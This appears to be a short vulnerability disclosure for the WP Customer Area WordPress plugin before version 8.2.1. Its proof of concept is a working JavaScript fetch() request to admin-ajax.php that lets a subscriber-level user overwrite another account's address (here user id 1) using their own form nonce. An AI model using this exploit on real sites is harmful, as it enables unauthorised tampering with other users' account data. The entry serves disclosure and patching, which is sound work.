WP Customer Area < 8.2.1 - Subscriber+ Account Address Update

Proof of Concept

You may get the nonce from *your* save address form

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
  },
  "body": 'action=cuar_save_address_for_owner&cuar_nonce=a73a7eab3b&owner[type]=usr&owner[ids][]=1&address_id=home_address&address[name]=hohohohoh',
  "method": "POST",
  "mode": "cors",
  "credentials": "include"
})
.then((response) => {
  return response.text();
})
.then((data) => {
  console.log(data);
});